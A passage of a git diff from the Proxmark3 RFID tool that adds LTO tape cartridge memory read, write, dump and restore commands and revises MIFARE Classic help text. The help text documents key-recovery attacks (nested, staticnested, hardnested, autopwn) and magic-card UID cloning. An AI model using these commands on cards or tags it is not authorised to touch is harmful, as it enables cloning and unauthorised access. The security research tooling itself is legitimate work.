of the response (0 in case of error) +static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool addcrc, bool is7bits, bool verbose) { + + uint64_t arg0 = ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS; + uint32_t arg1; + + if (addcrc) { + arg0 |= ISO14A_APPEND_CRC; + } + + if (is7bits) { + arg1 = 7 << 16; + } else { + arg1 = 0; + } + + arg1 |= len; + + SendCommandOLD(CMD_HF_ISO14443A_READER, arg0, arg1, 0, cmd, len); + PacketResponseNG resp; + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + if (verbose) PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ETIMEOUT; + } + + if (resp.oldarg[0] == *response_len) { + *response_len = resp.oldarg[0]; + if (*response_len > 0) { + memcpy(response, resp.data.asBytes, *response_len); + } + } else { + if (verbose) PrintAndLogEx(WARNING, "Wrong response length (%d != %" PRIu64 ")", *response_len, resp.oldarg[0]); + return PM3_ESOFT; + } + + return PM3_SUCCESS; +} + +// select a LTO-CM tag. Send WUPA and RID. +static int lto_select(uint8_t *id_response, uint8_t id_len, uint8_t *type_response, bool verbose) { + // Todo: implement anticollision + + uint8_t resp[] = {0, 0}; + uint16_t resp_len; + uint8_t wupa_cmd[] = {LTO_REQ_STANDARD}; + uint8_t select_sn_cmd[] = {LTO_SELECT, 0x20}; + uint8_t select_cmd[] = {LTO_SELECT, 0x70, 0, 0, 0, 0, 0}; + + resp_len = 2; + int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), type_response, &resp_len, false, true, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { + return PM3_ESOFT; // WUPA failed + } + + resp_len = id_len; + status = lto_send_cmd_raw(select_sn_cmd, sizeof(select_sn_cmd), id_response, &resp_len, false, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { + return PM3_EWRONGANSVER; // REQUEST SERIAL NUMBER failed + } + + memcpy(select_cmd + 2, id_response, sizeof(select_cmd) - 2); + resp_len = 1; + status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), resp, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { + return PM3_EWRONGANSVER; // SELECT failed + } + + // tag is now INIT and SELECTED. + return PM3_SUCCESS; +} + +static int CmdHfLTOInfo(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_info(); + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors) { + usage_lto_info(); + return PM3_EINVARG; + } + + return infoLTO(true); +} + +int infoLTO(bool verbose) { + + clearCommandBuffer(); + lto_switch_on_field(); + + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); + uint8_t type_info[2]; + + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + lto_switch_off_field(); + + if (ret_val == PM3_SUCCESS) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); + PrintAndLogEx(SUCCESS, "TYPE INFO: " _YELLOW_("%s"), sprint_hex_inrow(type_info, sizeof(type_info))); + } + + return ret_val; +} + +static int CmdHfLTOList(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdTraceList("lto"); + return PM3_SUCCESS; +} + +static int lto_rdbl(uint8_t blk, uint8_t *block_responce, uint8_t *block_cnt_responce, bool verbose) { + + uint16_t resp_len = 18; + uint8_t rdbl_cmd[] = {0x30, blk}; + uint8_t rdbl_cnt_cmd[] ={0x80}; + + int status = lto_send_cmd_raw(rdbl_cmd, sizeof(rdbl_cmd), block_responce, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT ) { + return PM3_EWRONGANSVER; // READ BLOCK failed + } + + status = lto_send_cmd_raw(rdbl_cnt_cmd, sizeof(rdbl_cnt_cmd), block_cnt_responce, &resp_len, false, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT ) { + return PM3_EWRONGANSVER; // READ BLOCK CONTINUE failed + } + + return PM3_SUCCESS; +} + +int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose) { + + clearCommandBuffer(); + lto_switch_on_field(); + + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); + uint8_t type_info[2]; + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + + uint8_t block_data_d00_d15[18]; + uint8_t block_data_d16_d31[18]; + uint8_t block_data[32]; + + for(uint8_t i = st_blk; i < end_blk + 1; i++) { + + ret_val = lto_rdbl(i, block_data_d00_d15, block_data_d16_d31, verbose); + + if (ret_val == PM3_SUCCESS) { + //Remove CRCs + for (int t = 0; t < 16; t++) { + block_data[t] = block_data_d00_d15[t]; + block_data[t + 16] = block_data_d16_d31[t]; + } + + PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("%s"), i, sprint_hex_inrow(block_data, sizeof(block_data))); + } else { + lto_switch_off_field(); + return ret_val; + } + } + + lto_switch_off_field(); + return ret_val; +} + +static int CmdHfLTOReadBlock(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + uint8_t st_blk = 0; + uint8_t end_blk = 254; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_rdbl(); + case 's': + st_blk = param_get8(Cmd, cmdp+1); + if ( end_blk < st_blk ) { + errors = true; + break; + } + cmdp += 2; + break; + + case 'e': + end_blk = param_get8(Cmd, cmdp+1); + if ( end_blk < st_blk ) { + errors = true; + break; } + cmdp += 2; + break; + + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors) { + usage_lto_rdbl(); + return PM3_EINVARG; + } + + return rdblLTO(st_blk, end_blk, true); +} + +static int lto_wrbl(uint8_t blk, uint8_t *data, bool verbose) { + + uint8_t resp[] = {0, 0}; + uint16_t resp_len = 1; + uint8_t wrbl_cmd[] = {0xA0, blk}; + uint8_t wrbl_d00_d15[16]; + uint8_t wrbl_d16_d31[16]; + + for (int i = 0; i < 16; i++) { + wrbl_d00_d15[i] = data[i]; + wrbl_d16_d31[i] = data[i+16]; + } + + int status = lto_send_cmd_raw(wrbl_cmd, sizeof(wrbl_cmd), resp, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { + return PM3_EWRONGANSVER; // WRITE BLOCK failed + } + + status = lto_send_cmd_raw(wrbl_d00_d15, sizeof(wrbl_d00_d15), resp, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { + return PM3_EWRONGANSVER; // WRITE BLOCK failed + } + + status = lto_send_cmd_raw(wrbl_d16_d31, sizeof(wrbl_d16_d31), resp, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { + return PM3_EWRONGANSVER; // WRITE BLOCK failed + } + + return PM3_SUCCESS; +} + +int wrblLTO(uint8_t blk, uint8_t *data, bool verbose) { + + clearCommandBuffer(); + lto_switch_on_field(); + + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); + uint8_t type_info[2]; + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + + ret_val = lto_wrbl(blk, data, verbose); + lto_switch_off_field(); + + if (ret_val == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("write success"), blk); + } else { + PrintAndLogEx(WARNING, "BLK %03d: write error. Maybe this is a read-only block address.", blk); + } + + return ret_val; +} + +static int CmdHfLTOWriteBlock(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + bool b_opt_selected = false; + bool d_opt_selected = false; + uint8_t blk = 128; + uint8_t blkData[32] = {0}; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_wrbl(); + case 'b': + blk = param_get8(Cmd, cmdp+1); + b_opt_selected = true; + cmdp += 2; + break; + case 'd': + if (param_gethex(Cmd, cmdp+1, blkData, 64)) { + PrintAndLogEx(WARNING, "block data must include 64 HEX symbols"); + errors = true; + break; + } + d_opt_selected = true; + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors) { + usage_lto_wrbl(); + return PM3_EINVARG; + } else if (b_opt_selected == false || d_opt_selected == false) { + PrintAndLogEx(WARNING, "Need to specify block address and data. See usage, h option"); + return PM3_EINVARG; + } + + return wrblLTO(blk, blkData, true); +} + +int dumpLTO(uint8_t *dump, bool verbose) { + + clearCommandBuffer(); + lto_switch_on_field(); + + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); + uint8_t type_info[2]; + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + + uint8_t block_data_d00_d15[18]; + uint8_t block_data_d16_d31[18]; + + for(uint8_t i = 0; i < 255; i++) { + + ret_val = lto_rdbl(i, block_data_d00_d15, block_data_d16_d31, verbose); + + if (ret_val == PM3_SUCCESS) { + //Remove CRCs + for (int t = 0; t < 16; t++) { + dump[t + i * 32] = block_data_d00_d15[t]; + dump[t + i * 32 + 16] = block_data_d16_d31[t]; + } + } else { + lto_switch_off_field(); + return ret_val; + } + } + + lto_switch_off_field(); + return ret_val; +} + +static int CmdHfLTODump(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + uint32_t dump_len = CM_MEM_MAX_SIZE; + char filename[FILE_PATH_SIZE] = {0}; + char serial_number[10] = {0}; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_dump(); + case 'f': + if (param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE) { + PrintAndLogEx(FAILED, "filename too long"); + errors = true; + break; + } + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors) { + usage_lto_dump(); + return PM3_EINVARG; + } + + // alloc memory + uint8_t *dump = calloc(dump_len, sizeof(uint8_t)); + if (!dump) { + PrintAndLogEx(ERR, "error, cannot allocate memory"); + return PM3_EMALLOC; + } + + // loop all blocks + int ret_val = dumpLTO(dump, true); + if (ret_val != PM3_SUCCESS) { + free(dump); + return ret_val; + } + + // save to file + if (filename[0] == '\0') { + memcpy(serial_number, sprint_hex_inrow(dump, sizeof(serial_number)), sizeof(serial_number)); + char tmp_name[17] = "hf_lto_"; + strcat(tmp_name, serial_number); + memcpy(filename, tmp_name, sizeof(tmp_name)); + } + saveFile(filename, ".bin", dump, dump_len); + saveFileEML(filename, dump, dump_len, 32); + + // free memory + free(dump); + + return PM3_SUCCESS; +} + +int restoreLTO(uint8_t *dump_data, bool verbose) { + + clearCommandBuffer(); + lto_switch_on_field(); + + uint8_t type_info[2]; + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + + uint8_t blkData[32] = {0}; + + //Block address 0 and 1 are read-only + for(uint8_t blk = 2; blk < 255; blk++) { + + for (int i = 0; i < 32; i++) { + blkData[i] = dump_data[i + blk * 32]; + } + + ret_val = lto_wrbl(blk, blkData, verbose); + + if (ret_val == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("write success"), blk); + } else { + lto_switch_off_field(); + return ret_val; + } + } + + lto_switch_off_field(); + return ret_val; +} + +static int CmdHfLTRestore(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + int is_data_loaded = PM3_ESOFT; + + char filename[FILE_PATH_SIZE] = {0}; + char extension[FILE_PATH_SIZE] = {0}; + + uint8_t dump_data[CM_MEM_MAX_SIZE] = {0}; + size_t dump_datalen = 0; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_restore(); + case 'f': + param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE); + if (strlen(filename) == 0) + errors = true; + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + if (errors || (strlen(filename)) == 0) { + usage_lto_restore(); + return PM3_EINVARG; + } + + // split file name into prefix and ext. + int fnLength; + + fnLength = strlen(filename); + + if (fnLength > 4) { + memcpy(extension, &filename[fnLength - 4], 4); + extension[5] = 0x00; + + // check if valid file extension and attempt to load data + if (memcmp(extension, ".bin", 4) == 0) { + filename[fnLength - 4] = 0x00; + is_data_loaded = loadFile(filename, ".bin", dump_data, sizeof(dump_data), &dump_datalen); + + } else if (memcmp(extension, ".eml", 4) == 0) { + filename[fnLength - 4] = 0x00; + dump_datalen = 12; + is_data_loaded = loadFileEML(filename, (uint8_t *)dump_data, &dump_datalen); + + } else + PrintAndLogEx(WARNING, "\nWarning: invalid dump filename "_YELLOW_("%s")"to restore!\n", filename); + } + + if (is_data_loaded == PM3_SUCCESS) { + return restoreLTO(dump_data, true); + } else { + return PM3_EFILE; + } + +} + +static command_t CommandTable[] = { + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"dump", CmdHfLTODump, IfPm3Iso14443a, "Dump LTO-CM tag to file"}, + {"restore", CmdHfLTRestore, IfPm3Iso14443a, "Restore dump file to LTO-CM tag"}, + {"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"}, + {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, + {"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"}, + {"list", CmdHfLTOList, AlwaysAvailable, "List LTO-CM history"}, + {NULL, NULL, NULL, NULL} +}; + +static int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} + +int CmdHFLTO(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} diff --git a/client/cmdhflto.h b/client/cmdhflto.h new file mode 100644 index 000000000..67179c2ae --- /dev/null +++ b/client/cmdhflto.h @@ -0,0 +1,24 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LTO-CM commands +//----------------------------------------------------------------------------- + +#ifndef CMDHFLTO_H__ +#define CMDHFLTO_H__ + +#include "common.h" + +int infoLTO(bool verbose); +int dumpLTO(uint8_t *dump, bool verbose); +int restoreLTO(uint8_t *dump, bool verbose); +int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose); +int wrblLTO(uint8_t blk, uint8_t *data, bool verbose); +int CmdHFLTO(const char *Cmd); + +#endif + diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 23b418599..c8ee0013c 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -13,7 +13,7 @@ #include #include "cmdparser.h" // command_t -#include "commonutil.h" // ARRAYLEN +#include "commonutil.h" // ARRAYLEN #include "comms.h" // clearCommandBuffer #include "fileutils.h" #include "cmdtrace.h" @@ -49,7 +49,7 @@ static int usage_hf14_ice(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf ice"); PrintAndLogEx(NORMAL, " hf mf ice f nonces.bin"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_dump(void) { @@ -61,7 +61,7 @@ static int usage_hf14_dump(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf dump"); PrintAndLogEx(NORMAL, " hf mf dump 4"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_mifare(void) { @@ -74,7 +74,7 @@ static int usage_hf14_mifare(void) { PrintAndLogEx(NORMAL, " hf mf darkside"); PrintAndLogEx(NORMAL, " hf mf darkside 16"); PrintAndLogEx(NORMAL, " hf mf darkside 16 B"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_mfsim(void) { PrintAndLogEx(NORMAL, "Usage: hf mf sim [u ] [n ] [t] [a ] [s ] [i] [x] [e] [v]"); @@ -98,7 +98,7 @@ static int usage_hf14_mfsim(void) { PrintAndLogEx(NORMAL, " hf mf sim u 11223344556677"); PrintAndLogEx(NORMAL, " hf mf sim u 112233445566778899AA"); PrintAndLogEx(NORMAL, " hf mf sim u 11223344 i x"); - return 0; + return PM3_SUCCESS; } /* * static int usage_hf14_sniff(void) { @@ -112,14 +112,13 @@ static int usage_hf14_mfsim(void) { PrintAndLogEx(NORMAL, " f decrypt sequence, collect read and write commands and save the result of the sequence to emulator dump file `uid.eml`"); PrintAndLogEx(NORMAL, "Example:"); PrintAndLogEx(NORMAL, " hf mf sniff l d f"); - return 0; + return PM3_SUCCESS; } */ static int usage_hf14_nested(void) { PrintAndLogEx(NORMAL, "Usage:"); - PrintAndLogEx(NORMAL, " all sectors: hf mf nested [t,d]"); - PrintAndLogEx(NORMAL, " one sector: hf mf nested o "); - PrintAndLogEx(NORMAL, " [t]"); + PrintAndLogEx(NORMAL, " all sectors: hf mf nested [t,d]"); + PrintAndLogEx(NORMAL, " one sector: hf mf nested o [t]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); @@ -127,11 +126,26 @@ static int usage_hf14_nested(void) { PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF -- nested attack against 1k,block 0, Key A using key FFFFFFFFFFFF"); - PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); - PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); - PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A"); - return 0; + PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); + PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A -- one sector key recovery. Use block 0 Key A to find block 4 Key A"); + return PM3_SUCCESS; +} +static int usage_hf14_staticnested(void) { + PrintAndLogEx(NORMAL, "Usage:"); + PrintAndLogEx(NORMAL, " all sectors: hf mf staticnested [t,d]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); + PrintAndLogEx(NORMAL, " t transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); + return PM3_SUCCESS; } static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, "Usage:"); @@ -164,8 +178,27 @@ static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Add the known target key to check if it is present in the remaining key space:"); PrintAndLogEx(NORMAL, " hf mf hardnested 0 A A0A1A2A3A4A5 4 A FFFFFFFFFFFF"); - return 0; + return PM3_SUCCESS; } +/* +static int usage_hf14_fixednested(void) { + PrintAndLogEx(NORMAL, "Usage:"); + PrintAndLogEx(NORMAL, " all sectors: hf mf fixed [t,d]"); + PrintAndLogEx(NORMAL, " one sector: hf mf fixed o [t]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); + PrintAndLogEx(NORMAL, " t transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf mf fixed 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf fixed 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " hf mf fixed 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); + PrintAndLogEx(NORMAL, " hf mf fixed o 0 A FFFFFFFFFFFF 4 A -- one sector key recovery. Use block 0 Key A to find block 4 Key A"); + return PM3_SUCCESS; +} +*/ static int usage_hf14_autopwn(void) { PrintAndLogEx(NORMAL, "Usage:"); PrintAndLogEx(NORMAL, " hf mf autopwn [k] "); @@ -200,7 +233,7 @@ static int usage_hf14_autopwn(void) { PrintAndLogEx(NORMAL, " hf mf autopwn * 1 f mfc_default_keys -- target Mifare classic card (size 1k) with default dictionary"); PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF -- target Mifare classic card with Sector0 typeA with known key 'FFFFFFFFFFFF'"); PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF * 1 f mfc_default_keys -- this command combines the two above (reduce the need for nested / hardnested attacks, by using a dictionary)"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_chk(void) { PrintAndLogEx(NORMAL, "Usage: hf mf chk [h] |<*card memory> [t|d] [] []"); @@ -219,7 +252,7 @@ static int usage_hf14_chk(void) { PrintAndLogEx(NORMAL, " hf mf chk 0 A mfc_default_keys.dic -- target block 0, Key A using default dictionary file"); PrintAndLogEx(NORMAL, " hf mf chk *1 ? t -- target all blocks, all keys, 1K, write to emulator memory"); PrintAndLogEx(NORMAL, " hf mf chk *1 ? d -- target all blocks, all keys, 1K, write to file"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_chk_fast(void) { PrintAndLogEx(NORMAL, "This is a improved checkkeys method speedwise. It checks Mifare Classic tags sector keys against a dictionary file with keys"); @@ -242,7 +275,7 @@ static int usage_hf14_chk_fast(void) { PrintAndLogEx(NORMAL, " hf mf fchk 1 d -- target 1K, write to file"); if (IfPm3Flash()) PrintAndLogEx(NORMAL, " hf mf fchk 1 m -- target 1K, use dictionary from flashmemory"); - return 0; + return PM3_SUCCESS; } /* static int usage_hf14_keybrute(void) { @@ -276,7 +309,7 @@ static int usage_hf14_restore(void) { PrintAndLogEx(NORMAL, " hf mf restore 1 u 12345678 -- restore from hf-mf-12345678-key.bin and hf-mf-12345678-data.bin"); PrintAndLogEx(NORMAL, " hf mf restore 1 u 12345678 k dumpkey.bin -- restore from dumpkey.bin and hf-mf-12345678-data.bin"); PrintAndLogEx(NORMAL, " hf mf restore 4 -- read the UID from tag with 4K memory first, then restore from hf-mf--key.bin and and hf-mf--data.bin"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_decryptbytes(void) { PrintAndLogEx(NORMAL, "Decrypt Crypto-1 encrypted bytes given some known state of crypto. See tracelog to gather needed values\n"); @@ -290,25 +323,25 @@ static int usage_hf14_decryptbytes(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf decrypt b830049b 9248314a 9280e203 41e586f9\n"); PrintAndLogEx(NORMAL, " this sample decrypts 41e586f9 -> 3003999a Annotated: 30 03 [99 9a] auth block 3 [crc]"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_eget(void) { PrintAndLogEx(NORMAL, "Usage: hf mf eget "); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf eget 0 "); - return 0; + return PM3_SUCCESS; } static int usage_hf14_eclr(void) { PrintAndLogEx(NORMAL, "It set card emulator memory to empty data blocks and key A/B FFFFFFFFFFFF \n"); PrintAndLogEx(NORMAL, "Usage: hf mf eclr"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_eset(void) { PrintAndLogEx(NORMAL, "Usage: hf mf eset "); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf eset 1 000102030405060708090a0b0c0d0e0f "); - return 0; + return PM3_SUCCESS; } static int usage_hf14_eload(void) { PrintAndLogEx(NORMAL, "It loads emul dump from the file `filename.eml`"); @@ -318,7 +351,7 @@ static int usage_hf14_eload(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf eload filename"); PrintAndLogEx(NORMAL, " hf mf eload 4 filename"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_esave(void) { PrintAndLogEx(NORMAL, "It saves emul dump into the file `filename.eml` or `cardID.eml`"); @@ -329,7 +362,7 @@ static int usage_hf14_esave(void) { PrintAndLogEx(NORMAL, " hf mf esave "); PrintAndLogEx(NORMAL, " hf mf esave 4"); PrintAndLogEx(NORMAL, " hf mf esave 4 filename"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_ecfill(void) { PrintAndLogEx(NORMAL, "Read card and transfer its data to emulator memory."); @@ -340,16 +373,20 @@ static int usage_hf14_ecfill(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf ecfill A"); PrintAndLogEx(NORMAL, " hf mf ecfill A 4"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_ekeyprn(void) { - PrintAndLogEx(NORMAL, "It prints the keys loaded in the emulator memory"); - PrintAndLogEx(NORMAL, "Usage: hf mf ekeyprn [card memory]"); - PrintAndLogEx(NORMAL, " [card memory]: 0 = 320 bytes (Mifare Mini), 1 = 1K (default), 2 = 2K, 4 = 4K"); + PrintAndLogEx(NORMAL, "Download and print the keys from emulator memory"); + PrintAndLogEx(NORMAL, "Usage: hf mf ekeyprn [card memory] [d]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); + PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf mf ekeyprn 1"); - return 0; + PrintAndLogEx(NORMAL, " hf mf ekeyprn 1"); + PrintAndLogEx(NORMAL, " hf mf ekeyprn d"); + return PM3_SUCCESS; } static int usage_hf14_csetuid(void) { @@ -365,7 +402,7 @@ static int usage_hf14_csetuid(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf csetuid 01020304"); PrintAndLogEx(NORMAL, " hf mf csetuid 01020304 0004 08 w"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_csetblk(void) { PrintAndLogEx(NORMAL, "Set block data for magic Chinese card. Only works with magic cards"); @@ -379,7 +416,7 @@ static int usage_hf14_csetblk(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf csetblk 1 01020304050607080910111213141516"); PrintAndLogEx(NORMAL, " hf mf csetblk 1 01020304050607080910111213141516 w"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_cload(void) { PrintAndLogEx(NORMAL, "It loads magic Chinese card from the file `filename.eml`"); @@ -395,7 +432,7 @@ static int usage_hf14_cload(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf cload mydump"); PrintAndLogEx(NORMAL, " hf mf cload e"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_cgetblk(void) { PrintAndLogEx(NORMAL, "Get block data from magic Chinese card. Only works with magic cards\n"); @@ -406,7 +443,7 @@ static int usage_hf14_cgetblk(void) { PrintAndLogEx(NORMAL, " block number"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf cgetblk 1"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_cgetsc(void) { PrintAndLogEx(NORMAL, "Get sector data from magic Chinese card. Only works with magic cards\n"); @@ -417,13 +454,13 @@ static int usage_hf14_cgetsc(void) { PrintAndLogEx(NORMAL, " sector number"); PrintAndLogEx(NORMAL, "Examples:"); 